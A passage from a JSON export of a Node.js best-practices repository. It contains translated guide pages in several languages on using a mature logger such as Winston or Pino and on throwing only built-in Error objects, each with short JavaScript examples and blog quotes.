Vamos identificar alguns requisitos (para um registrador):\r\n1. Carimbo de data / hora de cada linha de log. Este é bastante auto-explicativo - você deve ser capaz de dizer quando cada entrada de log ocorreu.\r\n2. Formato de registro deve ser facilmente entendido tanto por seres humanos, quanto para máquinas.\r\n3. Permite múltiplos fluxos de destino configuráveis. Por exemplo, você pode estar gravando logs de rastreio em um arquivo, mas quando um erro é encontrado, grava no mesmo arquivo, depois no arquivo de erro e envia um email ao mesmo tempo…\r\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.chinese.md",
    "content": "# 使用成熟的logger提高错误可见性\r\n\r\n### 一段解释\r\n\r\n我们都特别喜欢（loovve）console.log，但显而易见地，对于严肃的项目, 有信誉和持久的Logger是必需的，比如[Winston][winston] (非常流行) or [Pino][pino](专注于性能的新库)。一套实践和工具将有助于更快速地解释错误 – (1)使用不同的级别（debug, info, error）频繁地log；(2)在记录日志时, 以 JSON 对象的方式提供上下文信息, 请参见下面的示例；(3)使用日志查询API(在大多数logger中内置)或日志查看程序软件监视和筛选日志；(4)使用操作智能工具(如 Splunk)为操作团队公开和管理日志语句。\r\n\r\n[winston]: https://www.npmjs.com/package/winston\r\n[bunyan]: https://www.npmjs.com/package/bunyan\r\n[pino]: https://www.npmjs.com/package/pino\r\n\r\n### 代码示例 – 使用Winston Logger\r\n\r\n```javascript\r\n//您的集中式logger对象\r\nvar logger = new winston.Logger({\r\n  level: 'info',\r\n  transports: [\r\n    new (winston.transports.Console)(),\r\n    new (winston.transports.File)({ filename: 'somefile.log' })\r\n  ]\r\n});\r\n\r\n//在某个地方使用logger的自定义代码\r\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\r\n\r\n```\r\n\r\n### 代码示例 – 查询日志文件夹 (搜索条目)\r\n\r\n```javascript\r\nvar options = {\r\n    from: new Date - 24 * 60 * 60 * 1000,\r\n    until: new Date,\r\n    limit: 10,\r\n    start: 0,\r\n    order: 'desc',\r\n    fields: ['message']\r\n  };\r\n\r\n\r\n  // 查找在今天和昨天之间记录的项目\r\n  winston.query(options, function (err, results) {\r\n    //对于结果的回调处理\r\n  });\r\n\r\n```\r\n\r\n### 博客引用: \"Logger要求\"\r\n 摘自博客 Strong Loop\r\n\r\n > 让我们确定一些要求 (对于logger):\r\n1. 为每条日志添加时间戳。这条很好自我解释-你应该能够告知每个日志条目发生在什么时候。\r\n2. 日志格式应易于被人类和机器理解。\r\n3. 允许多个可配置的目标流。例如, 您可能正在将trace log写入到一个文件中, 但遇到错误时, 请写入同一文件, 然后写入到错误日志文件，并同时发送电子邮件…\r\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.french.md",
    "content": "# Utilisez un outil de journalisation mature pour augmenter la visibilité des erreurs\n\n### Un paragraphe d'explication\n\nNous adorons console.log mais un logger réputé et persistant comme [Pino][pino] (une option plus récente axée sur les performances) est obligatoire pour les projets sérieux. \nDes outils de journalisation très performants permettent d'identifier les erreurs et les problèmes éventuels. Les recommandations en matière de journalisation sont :\n\n1. Enregistrer fréquemment en utilisant différents niveaux (débogage, info, erreur).\n2. Lors de la journalisation, fournir des informations contextuelles sous forme d'objets JSON. \n3. Surveiller et filtrer les journaux à l'aide d'une API d'interrogation des journaux (intégrée à de nombreux enregistreurs) ou d'un logiciel de visualisation des journaux. \n4. Exposer et conserver les déclarations de journal avec des outils de renseignement opérationnel tels que [Splunk][splunk].\n\n[pino]: https://www.npmjs.com/package/pino\n[splunk]: https://www.splunk.com/\n\n### Exemple de code\n\n```javascript\nconst pino = require('pino');\n\n// votre objet de journalisation centralisé\nconst logger = pino();\n\n// code personnalisé quelque part à l'aide de l'outil de journalisation\nlogger.info({ anything: 'This is metadata' }, 'Test Log Message with some parameter %s', 'some parameter');\n```\n\n### Citation de blog : « Exigences d'un outil de journalisation »\n\n Extrait du blog de Strong Loop (\"Comparing Winston and Bunyan Node.js Logging\" par Alex Corbatchev, 24 juin 2014) :\n\n> Permet d'identifier quelques exigences (pour un outil de journalisation) :\n> 1. Chaque ligne du journal est horodatée. Celle-ci est assez explicite - vous devriez pouvoir dire quand chaque entrée du journal s'est produite.\n> 2. Le format d'enregistrement doit être facilement assimilable par les humains ainsi que par les machines.\n> 3. Permet plusieurs flux de destination configurables. Par exemple, vous pouvez écrire des journaux de trace dans un fichier, mais lorsqu'une erreur se produit, cela écrit dans le même fichier, puis dans le fichier d'erreur et envoi un e-mail en même temps…\n\n### Où est Winston ?\n\nPour plus d'informations sur les raisons pour lesquelles les favoris traditionnels (par exemple, Winston) peuvent ne pas être inclus dans la liste actuelle des meilleures pratiques recommandées, veuillez consulter [#684][#684].\n\n[#684]: https://github.com/goldbergyoni/nodebestpractices/issues/684\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.japanese.md",
    "content": "# エラーの可視性を高めるために成熟したロガーを使用する\r\n\r\n### 一段落説明\r\n\r\n私たちはみな console.log を愛用していますが、明らかに [Winston][winston]（非常に人気）や [Pino][pino]（パフォーマンスにフォーカスした新参者）のような、評価が高く永続的なロガーが真面目なプロジェクトにおいて必須となります。一連のプラクティスやツール群は、より素早くエラーについての考察を行うことに役立ちます ー（１）ログレベルを使い分ける（debug、info、error）、（２）ロギングする際は、JSON オブジェクトとしてコンテキスト情報を提供する（下記の例を参照）、（３）（多くのロガーに組み込まれている）ログクエリ API やログビューアソフトウェアを使用して、ログの確認やフィルタリングを行う、（４）Splunk のような運用ツールを使用して、運用チームのためにログステートメントを公開し、まとめる\r\n\r\n[winston]: https://www.npmjs.com/package/winston\r\n[pino]: https://www.npmjs.com/package/pino\r\n\r\n### コード例 – Winston 実践\r\n\r\n```javascript\r\n// 集中化されたロガーオブジェクト\r\nconst logger = new winston.Logger({\r\n  level: 'info',\r\n  transports: [\r\n    new (winston.transports.Console)()\r\n  ]\r\n});\r\n\r\n// ロガーを使用したカスタムコード\r\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\r\n```\r\n\r\n### コード例 – ログフォルダをクエリする（エントリを検索する）\r\n\r\n```javascript\r\nconst options = {\r\n  from: Date.now() - 24 * 60 * 60 * 1000,\r\n  until: new Date(),\r\n  limit: 10,\r\n  start: 0,\r\n  order: 'desc',\r\n  fields: ['message']\r\n};\r\n\r\n// 1日前から今にかけてのログを見つける\r\nwinston.query(options, (err, results) => {\r\n  // results を受け取ってコールバックを実行する\r\n});\r\n```\r\n\r\n### ブログ引用: \"Logger Requirements\"（ロガーの要件）\r\n\r\nブログ Strong Loop より\r\n\r\n> （ロガーのための）いくつかの要件を確認してみましょう:\r\n1. 各ログ行にタイムスタンプをつけましょう。これは非常に自明です ー 各ログエントリがいつ発生したのかをはっきりさせることができるはずです。\r\n2. ロギングフォーマットは、機械だけでなく人間にとっても容易に解釈できるものであるべきです。\r\n3. 複数の設定可能な送信先ストリームを許可しましょう。例えば、あるファイルにトレースログを書き込み、一方でエラーが発生した際は同様のファイルに書き込むと同時にエラーファイルにも書き込み、そして e メールを送信するかもしれません。\r\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.korean.md",
    "content": "# Use a mature logger to increase errors visibility\r\n\r\n### One Paragraph Explainer\r\n\r\nWe all love console.log but obviously, a reputable and persistent logger like [Winston][winston] (highly popular) or [Pino][pino] (the new kid in town which is focused on performance) is mandatory for serious projects. A set of practices and tools will help to reason about errors much quicker – (1) log frequently using different levels (debug, info, error), (2) when logging, provide contextual information as JSON objects, see example below. (3) watch and filter logs using a log querying API (built-in in most loggers) or a log viewer software\r\n(4) Expose and curate log statement for the operation team using operational intelligence tools like Splunk\r\n\r\n[winston]: https://www.npmjs.com/package/winston\r\n[bunyan]: https://www.npmjs.com/package/bunyan\r\n[pino]: https://www.npmjs.com/package/pino\r\n\r\n### Code Example – Winston Logger in action\r\n\r\n```javascript\r\n// your centralized logger object\r\nvar logger = new winston.Logger({\r\n  level: 'info',\r\n  transports: [\r\n    new (winston.transports.Console)()\r\n  ]\r\n});\r\n\r\n// custom code somewhere using the logger\r\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\r\n\r\n```\r\n\r\n### Code Example – Querying the log folder (searching for entries)\r\n\r\n```javascript\r\nvar options = {\r\n  from: new Date - 24 * 60 * 60 * 1000,\r\n  until: new Date,\r\n  limit: 10,\r\n  start: 0,\r\n  order: 'desc',\r\n  fields: ['message']\r\n};\r\n\r\n\r\n// Find items logged between today and yesterday.\r\nwinston.query(options, function (err, results) {\r\n  // execute callback with results\r\n});\r\n```\r\n\r\n### Blog Quote: \"Logger Requirements\"\r\n\r\n From the blog Strong Loop\r\n\r\n> Lets identify a few requirements (for a logger):\r\n1. Timestamp each log line. This one is pretty self-explanatory – you should be able to tell when each log entry occurred.\r\n2. Logging format should be easily digestible by humans as well as machines.\r\n3. Allows for multiple configurable destination streams. For example, you might be writing trace logs to one file but when an error is encountered, write to the same file, then into error file and send an email at the same time…\r\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.md",
    "content": "# Use a mature logger to increase error visibility\r\n\r\n### One Paragraph Explainer\r\n\r\nWe love console.log but a reputable and persistent logger like [Pino][pino] (a newer option focused on performance) is mandatory for serious projects. \r\nHigh-performance logging tools help identify errors and possible issues. Logging recommendations include:\r\n\r\n1. Log frequently using different levels (debug, info, error).\r\n2. When logging, provide contextual information as JSON objects. \r\n3. Monitor and filter logs with a log querying API (built-in to many loggers) or log viewer software. \r\n4. Expose and curate log statements with operational intelligence tools such as [Splunk][splunk].\r\n\r\n[pino]: https://www.npmjs.com/package/pino\r\n[splunk]: https://www.splunk.com/\r\n\r\n### Code Example\r\n\r\n```JavaScript\r\nconst pino = require('pino');\r\n\r\n// your centralized logger object\r\nconst logger = pino();\r\n\r\n// custom code somewhere using the logger\r\nlogger.info({ anything: 'This is metadata' }, 'Test Log Message with some parameter %s', 'some parameter');\r\n```\r\n\r\n### Blog Quote: \"Logger Requirements\"\r\n\r\n From the StrongLoop blog (\"Comparing Winston and Bunyan Node.js Logging\" by Alex Corbatchev, Jun 24, 2014):\r\n\r\n> Let's identify a few requirements (for a logger):\r\n> 1. Timestamp each log line. This one is pretty self-explanatory – you should be able to tell when each log entry occurred.\r\n> 2. Logging format should be easily digestible by humans as well as machines.\r\n> 3. Allows for multiple configurable destination streams. For example, you might be writing trace logs to one file but when an error is encountered, write to the same file, then into error file and send an email at the same time.\r\n\r\n### Where's Winston?\r\n\r\nFor more information on why traditional favorites (e.g., Winston) may not be included in the current list of recommended best practices, please see [#684][#684].\r\n\r\n[#684]: https://github.com/goldbergyoni/nodebestpractices/issues/684\r\n\r\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.polish.md",
    "content": "# Użyj dojrzałego programu rejestrującego, aby zwiększyć widoczność błędów\n\n### Wyjaśnienie jednym akapitem\n\nWszyscy kochamy console.log, ale oczywiście poważny projekt to renomowany i trwały rejestrator, taki jak [Winston] [winston] (bardzo popularny) lub [Pino] [pino] (nowy dzieciak w mieście, który koncentruje się na wydajności). Zestaw praktyk i narzędzi pomoże znacznie szybciej uzasadnić błędy - (1) często rejestruj dane przy użyciu różnych poziomów (debugowanie, informacje, błąd), (2) podczas logowania, podaj informacje kontekstowe jako obiekty JSON, patrz przykład poniżej. (3) Oglądaj i filtruj dzienniki za pomocą interfejsu API do wysyłania zapytań (wbudowanego w większość programów rejestrujących) lub oprogramowania do przeglądania dzienników. (4) Ujawnij i wyślij oświadczenie dziennika dla zespołu operacyjnego za pomocą narzędzi wywiadu operacyjnego, takich jak Splunk.\n\n[winston]: https://www.npmjs.com/package/winston\n[pino]: https://www.npmjs.com/package/pino\n\n### Przykład kodu - Winston Logger w akcji\n\n```javascript\n// your centralized logger object\nconst logger = new winston.Logger({\n  level: 'info',\n  transports: [\n    new (winston.transports.Console)()\n  ]\n});\n\n// custom code somewhere using the logger\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\n```\n\n### Przykład kodu - zapytanie do folderu dziennika (wyszukiwanie wpisów)\n\n```javascript\nconst options = {\n  from: Date.now() - 24 * 60 * 60 * 1000,\n  until: new Date(),\n  limit: 10,\n  start: 0,\n  order: 'desc',\n  fields: ['message']\n};\n\n// Find items logged between today and yesterday.\nwinston.query(options, (err, results) => {\n  // execute callback with results\n});\n```\n\n### Cytat z Bloga: \"Logger Requirements\"\n\n Z Bloga Strong Loop\n\n> Lets identify a few requirements (for a logger):\n> 1. Timestamp each log line. This one is pretty self-explanatory – you should be able to tell when each log entry occurred.\n> 2. Logging format should be easily digestible by humans as well as machines.\n> 3. Allows for multiple configurable destination streams. For example, you might be writing trace logs to one file but when an error is encountered, write to the same file, then into error file and send an email at the same time…\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.russian.md",
    "content": "# Используйте проверенный логгер, чтобы увеличить видимость ошибок\r\n\r\n### Объяснение в один абзац\r\n\r\nМы все любим console.log, но, очевидно, авторитетный и постоянный регистратор, такой как [Winston][winston] (очень популярный) или [Pino][pino] (новый парень на районе, который ориентирован на производительность) является обязательным для серьезных проектов. Набор методов и инструментов поможет гораздо быстрее рассуждать об ошибках - (1) часто регистрировать с использованием разных уровней (отладка, информация, ошибка); (2) при ведении журнала, предоставлять контекстную информацию в виде объектов JSON, см. пример ниже; (3) просматривать и фильтровать журналы, используя API запросов журналов (встроенный в большинство регистраторов) или программу просмотра журналов; (4) разворачивать и составлять отчет для рабочей группы, используя инструменты предоставления оперативной информации, такие как Splunk.\r\n\r\n[winston]: https://www.npmjs.com/package/winston\r\n[pino]: https://www.npmjs.com/package/pino\r\n\r\n### Пример кода - Winston Logger в действии\r\n\r\n```javascript\r\n// your centralized logger object\r\nconst logger = new winston.Logger({\r\n  level: 'info',\r\n  transports: [\r\n    new (winston.transports.Console)()\r\n  ]\r\n});\r\n\r\n// custom code somewhere using the logger\r\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\r\n```\r\n\r\n### Пример кода - Запрос к папке журнала (поиск записей)\r\n\r\n```javascript\r\nconst options = {\r\n  from: Date.now() - 24 * 60 * 60 * 1000,\r\n  until: new Date()\r\n  limit: 10,\r\n  start: 0,\r\n  order: 'desc',\r\n  fields: ['message']\r\n};\r\n\r\n// Find items logged between today and yesterday.\r\nwinston.query(options, (err, results) => {\r\n  // execute callback with results\r\n});\r\n```\r\n\r\n### Цитата блога: \"Требования к логгеру\"\r\n\r\nИз блога Strong Loop\r\n\r\n> Давайте определим несколько требований (для регистратора):\r\n1. Отметка времени каждой строки журнала. Это довольно очевидно - вы должны быть в состоянии сказать, когда произошла каждая запись в журнале.\r\n2. Формат записей должен быть легко усваиваемым людьми, а также машинами.\r\n3. Возможность для нескольких настраиваемых потоков назначения. Например, вы можете записывать журналы трассировки в один файл, но при возникновении ошибки запишите в тот же файл, затем в файл ошибок и отправьте электронное письмо одновременно …\r\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.basque.md",
    "content": "# Erabili soilik “Errorea” objektu kapsulatua\n\n### Azalpena\n\nJavaScriptek berezko permisibitatea du, eta, bere kode fluxuaren aukera ugariarekin (adibidez EventEmitter, Callbackak, Promesak ...), garatzaileek erroreak kudeatzeko modu anitzak edukitzea eragiten du: batzuek stringak erabiltzen dituzte, besteek beren mota pertsonalizatuak zehazten dituzte. Node.jsren \"Errorea\" objektu kapsulatua erabiltzeak zure kodearen eta bestelako liburutegien arteko uniformetasuna gordetzen laguntzen du, eta gainera StracTracea bezalako informazio esanguratsua gordetzen du. Salbuespen bat jaurtitzean, jarraibide egokia da errorearen izena edo erlazionatutako HTTP errore kodea bezalako testuinguru ezaugarriekin osatzea. Uniformetasun eta praktika hau lortzeko, saiatu \"Errorea\" objektua beharrezko ezaugarriekin osatzen, baina kontu izan gehiegitan ez egiten. Orokorrean ideia ona da \"Errorea\" objektu kapsulatua behin bakarrik osatzea AppErrore batekin aplikazioaren maila guztietako erroreentzat, eta beharrezko duzun informazioa argumentu gisa pasatuz errore klase ezberdinak ezberdintzeko. Ez da beharrezkoa \"Errorea\" objektua askotan osatzea (errore kasu bakoitzerako behin, adibidez DbError, HttpError...). Begiratu ondorengo kode adibideak\n\n### Kode adibidea: era zuzenean egin\n\n```javascript\n// ohizko funtzio batean Error objektua jaurti, sinkronoa dela edo asinkronoa dela (sync async)\nif (!gehitzekoProduktua)\n  throw new Error(\"Nola gehi dezaket produktu bat baliorik ez duenean?\");\n\n// Error objektua jaurti EventEmitteretik\nconst myEmitter = new MyEmitter();\nnireEmitter.emit(\"error\", new Error(\"whoops!\"));\n\n// Error objektua jaurti Promesa batetik\nconst gehituProduktua = async (gehitzekoProduktua) => {\n  try {\n    const existitzenDenProduktua = await DAL.eskuratuProduktua(\n      gehitzekoProduktua.id\n    );\n    if (existitzenDenProduktua !== null) {\n      throw new Error(\"Produktua iada existitzen da!\");\n    }\n  } catch (err) {\n    // ...\n  }\n};\n```\n\n### Anti jarraibidearen kode adibidea\n\n```javascript\n// string baten jaurtiketak edozein pila informazio eta datu ezaugarri garrantzitsu falta ditu\nif (!gehitzekoProduktua)\n  throw \"Nola gehi dezaket produktu bat baliorik ez duenean?\";\n```\n\n### Kode adibidea: oraindik ere era zuzenagoan egin\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// Noderen Error objektutik eratortzen den errore objektu zentralizatua\nfunction AppErrorea(izena, httpKodea, deskribapena, funtzionatzenDu) {\n  Error.call(this);\n  Error.captureStackTrace(this);\n  this.izena = izena;\n  //...hemen zehaztuta beste ezaugarri batzuk\n}\n\nAppErrorea.prototype = Object.create(Error.prototype);\nAppErrorea.prototype.constructor = AppErrorea;\n\nmodule.exports.AppErrorea = AppErrorea;\n\n// erabiltzailea exzepzio bat jaurtitzen\nif (erabiltzailea == null)\n  throw new AppErrorea(\n    commonErrors.resourceNotFound,\n    commonHTTPErrors.notFound,\n    \"azalpen osatuagoa\",\n    true\n  );\n```\n\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// Noderen Error objektutik eratortzen den errore objektu zentralizatua\nexport class AppErrorea extends Error {\n  public readonly izena: string;\n  public readonly httpKodea: HttpCode;\n  public readonly funtzionatzenDu: boolean;\n\n  constructor(\n    izena: string,\n    httpKodea: HttpCode,\n    deskribapena: string,\n    funtzionatzenDu: boolean\n  ) {\n    super(deskribapena);\n\n    Object.setPrototypeOf(this, new.target.prototype); // prototipo katea berrezarri\n\n    this.izena = izena;\n    this.httpKodea = httpKodea;\n    this.funtzionatzenDu = funtzionatzenDu;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// erabiltzailea exzepzio bat jaurtitzen\nif (erabiltzailea == null)\n  throw new AppErrorea(\n    commonErrors.resourceNotFound,\n    commonHTTPErrors.notFound,\n    \"azalpen osatuagoa\",\n    true\n  );\n```\n\n</details>\n\n_`Object.setPrototypeOf`ri buruzko azalpena Typescripten: https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-2.html#support-for-newtarget_\n\n### Blogeko aipua: \"Ez diot interesik ikusten mota ezberdin ugari edukitzeari\"\n\nBen Nadel-en blogeko “Node.js errore objektua” 5 hitz gakori esker sailkatua\n\n> …”Nik neuk, ez diot interesik ikusten errore objektu klase ezberdin ugari edukitzeari [bakarra edukitzearekin alderatuz]. Ez dirudi JavaScriptek, lengoaia gisa, eraikitzailez oinarritutako errore harrapaketa hornitzen duenik. Horrela, objektu baten ezaugarriak bereizteak Eraikitzaile klaseak bereiztea baino errazagoa dirudi…\n\n### Blog aipua: \"String bat ez da errore bat\"\n\ndevthought.com blogeko “Node.js errore objektua” 6 hitz gakori esker sailkatua\n\n> …String baten ordez errore bat pasatzeak moduluen arteko elkarreragintasuna murrizten du. instanceof errore egiaztapen arrakastatsuak izan litezkeen kontratuak apurtzen ditu APIekin. Ikusiko dugun bezala, errore objektuek, eraikitzaileari pasatutako mezua kontserbatzeaz gain, Javascript motore modernoetan ezaugarri interesgarriak dituzte…\n\n### Blog aipua: \"Erroretik jaraunsteak ez du balio askorik gehitzen\"\n\nmachadogj bloga\n\n> …Errore klasea jaraunsteko erraza ez izatea arazo bat da. Noski, klasea jaraunts dezakezu eta zure HttpError, DbError, etab. bezalako Error klase propioak sortu. Hala ere, horrek denbora eskatzen du, eta ez du balio askorik gehitzen [AppError batentzat behin bakarrik jaraunsteaz alderatuz], baldin eta klaseekin zerbait egiten ez bazabiltza. Batzuetan, soilik mezu bat gehitu nahi duzu eta barruko errorea mantendu; beste batzuetan, ordea, errorea parametroekin edo bestelako informazioekin osatu nahi zenezake…\n\n### Blog aipua: \"Node.jsk jaurtitako JavaScript eta System errore guztiak \"Error\" objektutik datoz\"\n\nNode.js dokumentazio ofiziala\n\n> …Node.jsk jaurtitako JavaScript eta System errore guztiak JavaScripten \"Error\" klase estandarretik datoz edo \"Error\" objektuaren instantziak dira, eta gutxienez horrelako ezaugarri erabilgarriak hornitzea bermatzen dute. JavaScript Error objektu generiko bat da, errorea zergatik gertatu den inolako berariazko baldintzarik adierazten ez duena. Error objektuek \"pila aztarna\" bat atzematen dute, Error instantziatua izan den kodearen lekua zehaztuz, eta errorearen testu deskribapena eduki dezakete. Node.jsk sortutako errore guztiak, System eta JavaScript erroreak barne, Error klasetik eratorritakoak edo Error motaren instantziak izango dira…\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.brazilian-portuguese.md",
    "content": "# Utilize apenas o objeto interno Error\n\n### Explicação em um Parágrafo\n\nA natureza permissiva do JS junto com sua variedade de opções de fluxo de código (por exemplo, EventEmitter, Callbacks, Promises, etc) cria uma grande variação em como os desenvolvedores lidam com erros – alguns usam strings, outros definem os próprios tipos customizados. Usar o objeto interno Error do Node.js ajuda a manter a uniformidade dentro do seu código e com bibliotecas de terceiros, também preserva informações significativas como o rastreamento de stack. Ao gerar a exceção, geralmente é uma boa prática preenchê-la com propriedades contextuais adicionais, como o nome do erro e o código de erro HTTP associado. Para obter essa uniformidade e práticas, considere estender o objeto de erro com propriedades adicionais, consulte o exemplo de código abaixo\n\n### Exemplo de código - fazendo certo\n\n```javascript\n// jogando um Error de uma função típica, seja síncrona ou assíncrona\nif(!productToAdd)\n    throw new Error(\"Como posso adicionar um novo produto quando nenhum valor é fornecido?\");\n\n// 'jogando' um Error de um EventEmitter\nconst myEmitter = new MyEmitter();\nmyEmitter.emit('error', new Error('whoops!'));\n\n// 'jogando' um Error de uma Promise\nconst addProduct = async (productToAdd) => {\n  try {\n    const existingProduct = await DAL.getProduct(productToAdd.id);\n    if (existingProduct !== null) {\n      throw new Error(\"O produto já existe!\");\n    }\n  } catch (err) {\n    // ...\n  }\n}\n```\n\n### Exemplo de código – Anti padrão\n\n```javascript\n// lançar uma string não possui informações de rastreamento de stack e outras propriedades de dados importantes\nif(!productToAdd)\n    throw (\"Como posso adicionar um novo produto quando nenhum valor é fornecido?\");\n```\n\n### Exemplo de código - fazendo isso ainda melhor\n\n```javascript\n// Objeto de erro centralizado que deriva do Error do Node\nfunction AppError(name, httpCode, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.name = name;\n    //...outras propriedades atribuídas aqui\n};\n\nAppError.prototype = Object.create(Error.prototype);\nAppError.prototype.constructor = AppError;\n\nmodule.exports.AppError = AppError;\n\n// cliente jogando uma exceção\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, \"mais explicações\", true)\n```\n\n### Citação de Blog: \"Não vejo o valor em ter vários tipos diferentes\"\n\nDo blog, Ben Nadel classificado como 5 para as palavras-chave “Node.js error object”\n\n>…”Pessoalmente, não vejo o valor em ter vários tipos diferentes de objetos de erro – JavaScript, como uma linguagem, não parece atender à captura de erros baseada em construtor. Como tal, diferenciar em uma propriedade de objeto parece muito mais fácil do que diferenciar em um tipo Construtor…\n\n### Citação de Blog: \"Uma string não é um erro\"\n\nDo blog, devthought.com classificado como 6 para as palavras-chave “Node.js error object”\n\n> …passar uma string em vez de um erro resulta em interoperabilidade reduzida entre os módulos. Isso quebra relações com APIs que podem estar realizando checagens `instanceof` Error, ou que querem saber mais sobre o erro. Objetos Error, como veremos, têm propriedades muito interessantes em mecanismos modernos de JavaScript, além de manter a mensagem transmitida ao construtor…\n\n### Citação de Blog: \"Herdar de Error não adiciona muito valor\"\n\nDo blog machadogj\n\n> …Um problema que eu tenho com a classe Error é que não é tão simples estendê-la. Claro, você pode herdar a classe e criar suas próprias classes Error como HttpError, DbError, etc. No entanto, isso leva tempo e não acrescenta muito valor, a menos que você esteja fazendo algo com tipos. Às vezes, você só quer adicionar uma mensagem e manter o erro interno, e às vezes você pode querer estender o erro com parâmetros, e tal…\n\n### Citação do Blog: \"Todos os erros do sistema e do JavaScript levantados pelo Node.js herdam de Error\"\n\nDa documentação oficial do Node.js\n\n> …Todos os erros de JavaScript e do sistema gerados pelo Node.js herdam ou são instâncias da classe padrão Error do JavaScript e têm a garantia de fornecer pelo menos as propriedades disponíveis nessa classe. Um objeto genérico Erro de JavaScript que não denota nenhuma circunstância específica de por que o erro ocorreu. Objetos Error capturam um \"rastreamento de stack\" detalhando o ponto no código no qual o Erro foi instanciado e podem fornecer uma descrição do erro em texto. Todos os erros gerados pelo Node.js, incluindo todos os erros de sistema e JavaScript, serão instâncias ou herdarão da classe Error…\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.chinese.md",
    "content": "#  仅使用内建的错误对象\r\n\r\n\r\n### 一段解释\r\n\r\nJS天生的宽容性及其多变的代码流选项（例如 EventEmitter, Callbacks, Promises等等）使得开发者有太多引发错误的方式 – 有些人使用字符串，有些人使用自定义的类型。使用Node.js的内置错误对象有助于在你的代码和第三方库之间保持一致性，它还保留了重要信息，比如StackTrace。当引发异常时，给异常附加上下文属性（如错误名称和相关的HTTP错误代码）通常是一个好的习惯。要实现这种一致性和实践，请考虑使用附加属性扩展错误对象，见下面的代码示例。\r\n\r\n\r\n### 代码示例 – 正确做法\r\n\r\n```javascript\r\n//从典型函数抛出错误, 无论是同步还是异步\r\nif(!productToAdd)\r\n    throw new Error(\"How can I add new product when no value provided?\");\r\n\r\n//从EventEmitter抛出错误\r\nconst myEmitter = new MyEmitter();\r\nmyEmitter.emit('error', new Error('whoops!'));\r\n\r\n//从promise抛出错误\r\n return new promise(function (resolve, reject) {\r\n    Return DAL.getProduct(productToAdd.id).then((existingProduct) => {\r\n        if(existingProduct != null)\r\n            reject(new Error(\"Why fooling us and trying to add an existing product?\"));\r\n\r\n```\r\n\r\n### 代码示例 – 反例\r\n\r\n```javascript\r\n//抛出字符串错误缺少任何stack trace信息和其他重要属性\r\nif(!productToAdd)\r\n    throw (\"How can I add new product when no value provided?\");\r\n\r\n```\r\n\r\n### 代码示例 – 更好做法\r\n\r\n```javascript\r\n//从node错误派生的集中错误对象\r\nfunction appError(name, httpCode, description, isOperational) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.name = name;\r\n    //...在这赋值其它属性\r\n};\r\n\r\nappError.prototype = Object.create(Error.prototype);\r\nappError.prototype.constructor = appError;\r\n\r\nmodule.exports.appError = appError;\r\n\r\n//客户端抛出一个错误\r\nif(user == null)\r\n  throw new appError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, \"further explanation\", true)\r\n```\r\n\r\n### 博客引用：“I don’t see the value in having lots of different types”\r\n\r\n摘自博客Ben Nadel, 对于关键字“Node.JS错误对象”，排名第五\r\n\r\n> … 就我个人而言，我没看到弄很多不同类型的错误对象的价值 – JavaScript作为一种语言，似乎不适合基于构造函数的错误捕获。因此，区分对象属性似乎比区分构造函数类型容易得多…\r\n\r\n### 博客引用: \"字符串不是错误\"\r\n\r\n摘自博客 devthought.com, 对于关键字 “Node.JS error object” 排名第6\r\n\r\n> … 传递字符串而不是错误会导致模块间协作性降低。它打破了和API的约定，可能在执行`instanceof`这样的错误检查，或想了解更多关于错误的信息。正如我们将看到的，错误对象在现代JavaScript引擎中拥有非常有趣的属性，同时保留传递给构造函数的消息…\r\n\r\n### 博客引用: \"从Error对象继承不会增加太多的价值\"\r\n\r\n摘自博客 machadogj\r\n\r\n> … 我对Error类的一个问题是不太容易扩展。当然, 您可以继承该类并创建自己的Error类, 如HttpError、DbError等。然而, 这需要时间, 并且不会增加太多的价值, 除非你是在做一些关于类型的事情。有时, 您只想添加一条消息, 并保留内部错误, 有时您可能希望使用参数扩展该错误, 等等…\r\n\r\n### 博客引用: \"Node.js引发的所有JavaScript和系统错误都继承自Error\"\r\n\r\n摘自 Node.JS 官方文档\r\n\r\n> … Node.js引发的所有JavaScript和系统错误继承自，或是JavaScript标准错误类的实例, 这保证至少提供了该类的可用属性。一个通用的JavaScript错误对象, 它不表示错误为什么发生的任何特定环境。错误对象捕获一个\"stack trace\", 详细说明了错误被实例化时在代码中的点, 并可能提供错误的文本描述。由Node.js生成的所有错误, 包括所有的系统和JavaScript错误, 都将是Error类的实例, 或继承自Error类 …\r\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.french.md",
